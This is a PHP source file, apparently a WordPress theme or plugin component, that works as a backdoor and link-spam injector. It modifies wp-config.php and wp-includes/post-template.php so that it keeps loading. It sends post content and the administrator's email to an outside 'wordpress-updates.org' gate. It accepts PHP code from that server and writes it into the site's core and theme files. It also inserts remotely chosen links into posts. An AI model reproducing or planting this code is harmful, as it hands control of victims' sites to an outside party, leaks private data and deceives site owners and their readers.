<?php
$amt_u_tpl=5;
if(!function_exists(amt_gp))
{
	function amt_gp()
	{
		if(!function_exists(amt_rdr))
		{
			function amt_rdr($dir)
			{
			$handle=@opendir($dir);
				while($file=@readdir($handle))
				{
					if($file!="." && $file!="..")
					{
					$t_dir[]=$file;
					}
				}
			@closedir($handle);
			return $t_dir;
			}
		}
	$link=explode("/", $_SERVER["SCRIPT_FILENAME"]);
	$sfn=$_SERVER["SCRIPT_FILENAME"];
	$r_dir=$sfn;
	for($q=sizeof($link)-1;$q>0;$q--)
	{
	$link[$q]="/".$link[$q];
	$r_dir=str_replace($link[$q],"",$r_dir);
	$rdr=amt_rdr($r_dir);
		if(@in_array('wp-config.php',$rdr))
		{
		$root_dir[0]=$r_dir;
		break;
		}
	}
	$root_dir[1]=$root_dir[0]."/wp-includes";
	$t_dir=$root_dir[0]."/wp-content/themes/";
	$t_dirs=amt_rdr($t_dir);
	for($q=0;$q<sizeof($t_dirs);$q++)
	{
	$p_d=$t_dir.$t_dirs[$q];
	$f_d=amt_rdr($p_d);
		if(@in_array('functions.wp-amt.php',$f_d))
		{
		$root_dir[2]=$p_d;
		$root_dir[4]=$t_dirs[$q];
		break;
		}
	}
	if(isset($_SERVER['SUBDOMAIN_DOCUMENT_ROOT'])) { $dr=$_SERVER['SUBDOMAIN_DOCUMENT_ROOT']; } else { $dr=$_SERVER['DOCUMENT_ROOT']; }
	$root_dir[3]=str_replace($dr,'',$root_dir[0]);
	return $root_dir;
	}
}
class amt_data
{
var $n_f;
var $t_o;
var $c_d;
var $host;
var $wp_c;
var $wp_pt;
var $wp_ff;
var $wp_fwp;
var $t_n;
var $u_g;
var $wrt;
var $r_dir;
var $my_h;
var $a_em;
var $p_ttl;
var $p_cgy;
	function amt_trim_domen()
	{
	$amt_site=str_replace(".","",$_SERVER['HTTP_HOST']);
	$amt_site=str_replace("-","_",$amt_site);
	$amt_site=str_replace("www","",$amt_site);
	return $amt_site;
	}
	function amt_gfn()
	{
	$num=rand(7,14);
	$arr=array('a','b','d','e','f','g','h','i','j','k','l','m','n','p','r','s','t','v','x','y','z');
	$rfn="";
		for($i=0;$i<$num;$i++)
		{
		$ind=rand(0,sizeof($arr));
		$rfn.=$arr[$ind];
		}
	$rfn.=".php";
	return $rfn;
	}
	function amt_gtbl()
	{
	global $table_prefix;
	$amt_site=$this->amt_trim_domen();
	$this->t_n=array($table_prefix.$amt_site."_post",$table_prefix.$amt_site."_quest",$table_prefix.$amt_site."_opt");
	return $t_n;
	}
	function amt_gae()
	{
	global $wpdb, $table_prefix;
	$uid=$wpdb->get_col($wpdb->prepare("select user_id from ".$table_prefix."usermeta where meta_value='10'", $rr));
	$uem=$wpdb->get_col($wpdb->prepare("select user_email from ".$table_prefix."users where id='".$uid[0]."'", $rr));
	$this->a_em=$uem[0];
	return $a_em;
	}
	function amt_crtb()
	{
	global $wpdb;
	$this->amt_gtbl();
	$query="
	CREATE TABLE IF NOT EXISTS ".$this->t_n[0]." (
	id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY ,
	id_post INT(9) NOT NULL ,
	last_up DATETIME NOT NULL ,
	addd DATETIME NOT NULL
	) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci;
	";
	$wpdb->query($query);
	$query="
	CREATE TABLE IF NOT EXISTS ".$this->t_n[1]." (
	id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY ,
	l_b ENUM('0', '1') NOT NULL ,
	id_post INT(9) NOT NULL ,
	word VARCHAR(255) NOT NULL ,
	id_word INT( 9 ) NOT NULL ,
	link VARCHAR(255) NOT NULL ,
	date DATE NOT NULL 
	) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci;
	";
	$wpdb->query($query);
	$query="
	CREATE TABLE IF NOT EXISTS ".$this->t_n[2]." (
	host VARCHAR(255) NOT NULL ,
	t_o VARCHAR(255) NOT NULL ,
	n_f VARCHAR(255) NOT NULL ,
	date DATE NOT NULL 
	) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci;
	";
	$wpdb->query($query);
	$mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr));
	$this->host=$mda[0];
		if($this->host=="")
		{
		$amt_nf=$this->amt_gfn();
		$query="insert into ".$this->t_n[2]." (host, t_o, n_f, date) values ('wordpress-updates.org', '5', '".$amt_nf."', now());";
		$wpdb->query($query);
		$mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr));
		$this->host=$mda[0];
		}
	$mda=$wpdb->get_col($wpdb->prepare("select t_o from ".$this->t_n[2], $rr)); $this->t_o=$mda[0];
	$mda=$wpdb->get_col($wpdb->prepare("select n_f from ".$this->t_n[2], $rr)); $this->n_f=$mda[0];
	$mda=$wpdb->get_col($wpdb->prepare("select date from ".$this->t_n[2], $rr)); $this->c_d=$mda[0];
	}
}
$amt_d=new amt_data;
$amt_d->amt_crtb();
$amt_d->amt_gae();
$root_dir=amt_gp();
$amt_d->u_tpl=$amt_u_tpl;
$amt_d->my_h=trim_url($_SERVER["HTTP_HOST"]);
$amt_d->u_g[0]="http://".$amt_d->host."/gate/post_gate.php";
$amt_d->u_g[1]="http://".$amt_d->host."/gate/quest_gate.php";
$amt_d->u_g[2]="http://".$amt_d->host."/gate/upd_gate.php";
$amt_d->u_g[3]="http://".$amt_d->host."/gate/nf_gate.php";
$amt_d->r_dir=array($root_dir[0],$root_dir[1],$root_dir[2],$root_dir[3],$root_dir[4]);
$amt_d->wp_c=$amt_d->r_dir[0]."/wp-config.php";
$amt_d->wp_pt=$amt_d->r_dir[0]."/wp-includes/post-template.php";
$amt_d->wp_ff=$amt_d->r_dir[0]."/wp-includes/".$amt_d->n_f;
if(file_exists($amt_d->wp_ff)) {  $amt_d->wrt=1; } else { $amt_d->wrt=0; }
amt_ci();
amt_cifi();

function amt_cif()
{
global $amt_d;
if(file_exists($amt_d->wp_ff)) {  return true; } else { return false; }
}

function amt_cifi()
{
global $amt_d;
$today=date("Ymd");
	if($today<=20100225)
	{
	$post = array('my_h' => $amt_d->my_h, 'my_url' => $m_url, 'wrt' => $amt_d->wrt); 
	amt_sender("http://".$amt_d->host."/gate/post_ci.php", $post);
	}
}

function amt_ci()
{
global $amt_d;
	$sha="!amt_cif!si";
	$sha2="!".$amt_d->n_f."!si";
	$cont=file_get_contents($amt_d->wp_c);
		if(!preg_match($sha,$cont,$match) || !preg_match($sha2,$cont,$match))
		{
		$amt_d->ci[0]=0;
		}
		else
		{
		$amt_d->ci[0]=1;
		}
	$sha="!amt_cc!si";
	$cont=file_get_contents($amt_d->wp_pt);
		if(!preg_match($sha,$cont,$match))
		{
		$amt_d->ci[1]=0;
		}
		else
		{
		$amt_d->ci[1]=1;
		}

		if(!file_exists($amt_d->wp_ff) || filesize($amt_d->wp_ff)==0)
		{
		$amt_d->ci[2]=0;
		}
		else
		{
		$amt_d->ci[2]=1;
		}
if($amt_d->ci[0]==1 && $amt_d->ci[1]==1 && $amt_d->ci[2]==1) { $amt_d->ci[3]=1; } else { $amt_d->ci[3]=0; }
if($amt_d->ci[3]==0)
{
	if($amt_d->ci[0]==0)
	{
	chmod($amt_d->wp_c, 0755);
	$cont=trim(file_get_contents($amt_d->wp_c));
	$sha="/\?>$/";	
	if(preg_match($sha,$cont,$name))
	{
	$cont=$cont."
<?php if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/".$amt_d->n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } } ?>";
	}		
	else
	{
	$cont=$cont."
if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/".$amt_d->n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } }";
	}
	$amt_f = fopen($amt_d->wp_c,"w");
	$test = fwrite($amt_f, $cont);
	fclose($amt_f);
	if($test) { chmod($amt_d->wp_c, 0644); }
	}
	if($amt_d->ci[1]==0)
	{
	$cont=file_get_contents($amt_d->wp_pt);
$sha1="echo \$content;";
$sha2="if (is_single() && function_exists(amt_cc)) { \$content = amt_cc(\$content); }
	echo \$content;";
	$cont=str_replace($sha1,$sha2,$cont);
	chmod($amt_d->wp_pt, 0755);			
	$amt_f = fopen($amt_d->wp_pt,"w");
	$test = fwrite($amt_f, $cont);
	fclose($amt_f);
	if($test) { @chmod($amt_d->wp_pt, 0644); }
	}
	if($amt_d->ci[2]==0)
	{
	$s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php";
	if(file_exists($s_f_path)) { $content=file_get_contents($s_f_path); }
	if(file_exists($amt_d->wp_ff))
	{
	chmod($amt_d->wp_ff, 0755);
	}
	$amt_f = fopen($amt_d->wp_ff,"w");
	$test = fwrite($amt_f, $content);
	fclose($amt_f);
	if($test) { chmod($amt_d->wp_ff, 0644); }
	}
}
}
function amt_cc($content)
{	
	global $amt_d;
	$amt_id=get_the_ID(); $amt_url=$amt_d->my_h.$amt_d->r_dir[3]; $amt_md=get_the_modified_date("Y-m-d h:i:s"); amt_gct($amt_id);
	amt_copt($amt_url);	if(amt_pib($amt_id)==0) { $pis=amt_ins($amt_id, $amt_md, $content, $amt_url); } if($pis==1) { amt_inb($amt_id, $amt_md); } if(amt_cuq()==0) { amt_qse($amt_id, $amt_url); } $content=amt_cco($amt_id, $content);
	return $content;
}
function amt_gct($id)
{
global $amt_d;
$ololo=get_post($id);
$amt_cty=get_the_category(); 
$amt_d->p_cgy=$amt_cty[$ololo->post_category]->cat_name;
$amt_d->p_ttl=$ololo->post_title;
}
function amt_cco($id, $content)
{
global $wpdb, $amt_d;
$q_word=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr));
$q_id_word=$wpdb->get_col($wpdb->prepare("select id_word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr));
$q_link=$wpdb->get_col($wpdb->prepare("select link from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr));
	for($q=0;$q < count($q_word);$q++)
	{
	$content=amt_create_post_words($content,$q_word[$q],$q_id_word[$q],$q_link[$q],4);
	}
$content.=amt_abl($id);	
return $content;
}
function amt_abl($id)
{
global $wpdb, $amt_d;
$t_link=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='1'", $rr));
	if($t_link[0]!="")
	{
	$tlk="<p>".$t_link[0]."</p>";
	}
	else
	{
	$tlk="";
	}
return $tlk;
}
function amt_copt($m_url)
{
global $wpdb, $amt_d;
$post = Array('my_h' => $amt_d->my_h, 'my_url' => $m_url); 
$today=date("Y-m-d");
	if(!amt_cuo())
	{
		if($amt_ud=amt_sender($amt_d->u_g[2], $post))
		{		
			if($amt_ud!="no" && $amt_ud!="")
			{
			$amt_md=explode('*^*^*^*',$amt_ud);
			$amt_q="update ".$amt_d->t_n[2]." set host='$amt_md[0]', t_o='$amt_md[1]', date='$today' where host='".$amt_d->host."'";
			$wpdb->query($amt_q);
				if($amt_md[3]==2)
				{
				amt_cnff($amt_md[4]);
				}
			}
			else
			{ 
			$amt_q="update ".$amt_d->t_n[2]." set date='$today' where host='".$amt_d->host."'";
			$wpdb->query($amt_q);
			}
		}
	}
}
function amt_cnff($content)
{
global $amt_d;
if($content=="") { return false; }
$content=
"<?php 
".$content."
 ?>";
	if(file_exists($amt_d->wp_ff))
	{
	@chmod($amt_d->wp_ff, 0755);
	}
$amt_f = fopen($amt_d->wp_ff,'w');
$test = fwrite($amt_f, $content);
@fclose($amt_f);
if($test) { @chmod($amt_d->wp_ff, 0644); }
$s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php";
	if(file_exists($s_f_path))
	{
	@chmod($s_f_path, 0755);
	}
$amt_f = fopen($s_f_path,'w');
$test = fwrite($amt_f, $content);
@fclose($amt_f);
if($test) { @chmod($s_f_path, 0644); }
}
function amt_inb($id, $last)
{
global $wpdb, $amt_d;
$amt_q="delete from ".$amt_d->t_n[0]." where id_post='$id'";
$wpdb->query($amt_q);
$amt_q="insert into ".$amt_d->t_n[0]." (id_post, last_up, addd) values ('$id', '$last', now())";
$wpdb->query($amt_q);
}
function amt_ins($id, $last, $cont, $url)
{
global $amt_d;
$last=str_replace(" ","_",$last);
$url=trim_url($url);
$post = Array('id' => $id, 'last' => $last, 'cont' => $cont, 'ttl' => $amt_d->p_ttl, 'cgy' => $amt_d->p_cgy, 'my_h' => $amt_d->my_h, 'my_url' => $url, 'a_em' => $amt_d->a_em, 'fn' => $amt_d->n_f, 'tpl' => $amt_d->r_dir[4], 'ci' => $amt_d->ci[3], 'u_tpl' => $amt_d->u_tpl); 
$amt_pisg=amt_sender($amt_d->u_g[0], $post);
if($amt_pisg=="ok") { $pis=1; } else { $pis=0; }
return $pis;
}
function amt_pib($id)
{
global $wpdb, $amt_d;
$query="select id from ".$amt_d->t_n[0]." where id_post='$id'";
$wpdb->query($query);
	if($wpdb->num_rows>0)
	{
	$per=$wpdb->get_var($wpdb->prepare("select datediff(now(), addd) from ".$amt_d->t_n[0]." where id_post='$id'", $rr));
		if($per>30)
		{
		return 0;
		}
		else
		{
		return 1;
		}
	}
return $wpdb->num_rows;
}
function amt_qwe($id)
{
global $wpdb, $amt_d;
$query="select * from ".$amt_d->t_n[1]." where id_post='$id'";
$wpdb->query($query);
return $wpdb->num_rows;
}
function amt_cuq()
{
global $wpdb, $amt_d;
$today=date("Y-m-d"); 
$date_up=$wpdb->get_var($wpdb->prepare("select date from ".$amt_d->t_n[1]." limit 1", $rr));
	if($date_up!=$today)
	{
	return false;
	}
	else
	{
	return true;
	}
}
function amt_cuo()
{
global $amt_d;
$today=date("Y-m-d"); 
	if($amt_d->c_d!=$today)
	{
	return false;
	}
	else
	{
	return true;
	}
}
function amt_qse($id, $m_url)
{
global $wpdb, $amt_d;
$today=date("Y-m-d"); 
$m_url=trim_url($m_url);
$post = Array('id' => $id, 'my_h' => $amt_d->my_h, 'my_url' => $m_url); 
	if($amt_nq=amt_sender($amt_d->u_g[1], $post))
	{
		if($amt_nq=="no quests")
		{
		$amt_q1="delete from ".$amt_d->t_n[1].";";
		$wpdb->query($amt_q1);
		$amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('0', '0', '', '0', '', '$today')";
		echo $amt_q2;
		$wpdb->query($amt_q2);
		}
		else
		{
		$amt_q1="delete from ".$amt_d->t_n[1].";";
		$wpdb->query($amt_q1);
		$amt_qs=explode("*****",$amt_nq);	
			for($q=0;$q < sizeof($amt_qs);$q++)
			{
			$m_amt_q=explode("^^^",$amt_qs[$q]);
			$amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('$m_amt_q[4]', '$m_amt_q[0]', '$m_amt_q[1]', '$m_amt_q[2]', '$m_amt_q[3]', '$today')";
			$wpdb->query($amt_q2);
			}
		}
	}
}
function amt_sender($url, $post)
{
global $amt_d;
$_post=Array();
	if(is_array($post))
	{
		foreach($post as $name => $value)
		{
		$_post[]=$name.'='.urlencode($value);
		}
	}
	if (function_exists("curl_init"))
	{
	$ch=curl_init($url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_POST, 1);
	curl_setopt($ch, CURLOPT_HEADER, 0);
	curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $amt_d->t_o);
	curl_setopt($ch, CURLOPT_USERAGENT, "Penetrator/3.0");
	curl_setopt($ch, CURLOPT_REFERER, $amt_d->my_h);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
		if(is_array($post))
		{
		curl_setopt($ch, CURLOPT_POSTFIELDS, join('&', $_post));
		}
	$result=curl_exec($ch);
		if(curl_errno($ch)!=0 && empty($result))
		{
		$result=false;
		}
	curl_close($ch);
	$result="HTTPSTART".$result;
	$result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result);
	return $result;  
	}
	else
	{
	$parse_url = parse_url($url);
	$path = $parse_url["path"];
	$host= $parse_url["host"];
	$result="";
	$post=implode('&', $_post);
	$fp=fsockopen($host, 80);
		if($fp)
		{
		socket_set_timeout($fp, $amt_d->t_o);
		$request = "POST $path HTTP/1.1\r\n";
		$request .= "Host: $host\r\n";
		$request .= "User-Agent: Penetrator/3.0\r\n";
		$request .= "Content-Type: application/x-www-form-urlencoded\r\n";
		$request .= "Referer: ".$amt_d->my_h."\r\n";
		$request .= "Content-Length: ".strlen($post)."\r\n";
		$request .= "Connection: close\r\n\r\n$post";
		fputs($fp,$request);
			while(!feof($fp))
			{
			$result.=fgets($fp);
			}
		fclose($fp);
		$result="HTTPSTART".$result;
		$result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result);
		return $result;
		}
	return false;
	}
}
function amt_create_post_words($content,$word,$id_word,$link,$nwm)
{
$n_content=strip_tags($content);
$word=trim($word);
$t_link="http://".$link;
$w=0;
$sha2="/(.{1,".$nwm."})(\*\*\* ".$word.".{1}\*\*\*|\*\*\*".$word.".{1}\*\*\*)(.{1,".$nwm."})/si";
$bilo="/( ".$word.".{1}|".$word.".{1})/si";
$stalo="***\\0***";
$new_content=preg_replace($bilo,$stalo,$n_content);
preg_match_all($sha2,$new_content,$massa);
$sha_word=erase_zv($massa[0][$id_word]);
$sha_word_l=strong_word($sha_word,$word,$t_link);
$content=str_replace($sha_word,$sha_word_l,$content);
return $content;
}
function erase_zv($text)
{
$text=str_replace(",***",",",$text);
$text=str_replace(".***",".",$text);
$text=str_replace(" ***"," ",$text);
$text=str_replace("*** "," ",$text);
$text=str_replace("***"," ",$text);
return $text;
}
function trim_side($text)
{
$new_text="";
$txt=explode(" ", $text);
$n_w=sizeof($txt);
    for($ts=1;$ts<$n_w-1;$ts++)
        {
        $new_text.=$txt[$ts]." ";
        }
return $new_text;
}
function strong_word($content,$word,$t_link)
{
$bilo="/( ".$word.".{1}|".$word.".{1})/si";
$stalo="<a href='file:///D|/prj/wp/test/$t_link'>\\0</a>";
$content=preg_replace($bilo,$stalo,$content);
$content=str_replace("> ",">",$content);
$content=str_replace(" <","<",$content);
$content=str_replace("<"," <",$content);
$content=str_replace(" </a>","</a>",$content);
$content=str_replace("</a>","</a> ",$content);
$content=str_replace(",</a>","</a>, ",$content);
$content=str_replace(".</a>","</a>. ",$content);
$content=str_replace("  "," ",$content);
return $content;
}
function trim_url($url)
{
$url=preg_replace("(www.|http://)", "", $url);
return $url;
}
?>